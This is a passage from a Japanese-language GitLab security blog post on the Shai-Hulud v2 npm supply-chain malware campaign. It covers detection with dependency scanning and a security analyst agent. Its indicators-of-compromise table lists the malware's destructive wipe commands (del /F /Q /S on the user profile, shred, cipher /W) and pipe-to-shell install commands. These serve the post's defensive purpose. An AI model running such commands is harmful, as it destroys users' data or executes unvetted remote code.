バイナリ抽出に使用される一時ディレクトリ                       |\n| **ファイル**   | `.truffler-cache/trufflehog`                 | ダウンロードされたTrufflehogバイナリ(Linux/Mac)         |\n| **ファイル**   | `.truffler-cache/trufflehog.exe`             | ダウンロードされたTrufflehogバイナリ(Windows)           |\n| **プロセス**   | `del /F /Q /S \"%USERPROFILE%*\"`              | Windowsの破壊的ペイロードコマンド                       |\n| **プロセス**   | `shred -uvz -n 1`                            | Linux/Macの破壊的ペイロードコマンド                     |\n| **プロセス**   | `cipher /W:%USERPROFILE%`                    | ペイロード内のWindows安全削除コマンド                     |\n| **コマンド**   | `curl -fsSL https://bun.sh/install \\| bash`   | npmパッケージインストール中の不審なBunインストール               |\n| **コマンド**   | `powershell -c \"irm bun.sh/install.ps1\\|iex\"` | PowerShell経由のWindowsBunインストール              |\n\n## GitLabでこのマルウェアキャンペーンを検出する方法\n\nGitLab Ultimateをご利用の場合、組み込みのセキュリティ機能を活用して、プロジェクト内でこの攻撃に関連する脆弱性を即座に表示できます。\n\nまず、**[依存関係スキャン](https://docs.gitlab.com/user/application_security/dependency_scanning/dependency_scanning_sbom/)**を有効にして、既知の脆弱性データベースに対してプロジェクトの依存関係を自動的に分析します。** `package-lock.json`または`yarn.lock`ファイルに感染したパッケージが存在する場合、依存関係スキャンはパイプライン結果と脆弱性レポートでそれらにフラグを立てます。** 完全なセットアップ手順については、[依存関係スキャンのドキュメント](https://docs.gitlab.com/user/application_security/dependency_scanning/dependency_scanning_sbom/#enabling-the-analyzer)を参照してください。\n\n有効にすると、侵害されたパッケージを導入するマージリクエストは、コードがメインブランチに到達する前に警告を表示します。\n\n次に、**[GitLab Duo Chat](https://docs.gitlab.com/user/gitlab_duo_chat/agentic_chat/)** を依存関係スキャンと組み合わせて使用すると、レポートを確認することなく、プロジェクトの脆弱性を迅速に確認できます。ドロップダウンから[セキュリティアナリストエージェント](https://docs.gitlab.com/user/duo_agent_platform/agents/foundational_agents/security_analyst_agent/)を選択し、次のような質問をするだけです。\n\n* 「Shai-Hulud v2マルウェアキャンペーンの影響を受ける依存関係はありますか?」\n* 「このプロジェクトにnpmサプライチェーンの脆弱性はありますか?」\n* 「このプロジェクトにnpmサプライチェーンの脆弱性はありますか?」\n* 「JavaScript依存関係の重大な脆弱性を表示してください。」\n\nエージェントはプロジェクトの脆弱性データをクエリし、直接的な回答を提供するため、セキュリティチームが複数のプロジェクトを迅速にトリアージするのに役立ちます。\n\n![GitLabセキュリティアナリストエージェントの検出結果](https://res.cloudinary.com/about-gitlab-com/image/upload/v1764196041/ciwroqeub2ayhjcbajec.png)\n\n多数のリポジトリを管理するチームには、これらのアプローチを組み合わせることをお勧めします。CI/CDでの継続的な自動検出には依存関係スキャンを使用し、このような進行中のインシデント時のアドホック調査と迅速な対応にはセキュリティアナリストエージェントを使用してください。\n\n## 今後の展望\n\nこのキャンペーンは、巻き添え被害の脅威が攻撃者のインフラストラクチャの主要な防御メカニズムとなるサプライチェーン攻撃の進化を表しています。全容を把握し、安全な修復戦略を開発するため、コミュニティと協力して調査を継続しています。\n\nGitLabの自動検出システムは、この攻撃の新しい感染とバリエーションを監視し続けています。調査結果を早期に共有することで、マルウェアのデッドマンスイッチ設計によって生じる落とし穴を回避しながら、コミュニティが効果的に対応できるよう支援できることを願っています。",[651,652],"Michael Henriksen","Daniel Abeles","2025-12-01","2025-11-24","GitLabがnpmサプライチェーンへの大規模攻撃を発見",[657,658],"security","security research","攻撃を引き起こすマルウェアには、ユーザーデータを破壊する「デッドマンスイッチ」が含まれています。",{},"/ja-jp/blog/gitlab-discovers-widespread-npm-supply-chain-attack",{"config":663,"title":655,"description":659,"ogImage":664},{"noIndex":11},"https://res.cloudinary.com/about-gitlab-com/image/upload/f_auto,q_auto,c_lfill/v1749665667/Blog/Hero%20Images/built-in-security.jpg","ja-jp/blog/gitlab-discovers-widespread-npm-supply-chain-attack",[657,667],"security-research","NyIlHJVsFHx1tewnE99Ocmeee-p0jZAWyL1F2-pHOQY",[],1773871225132]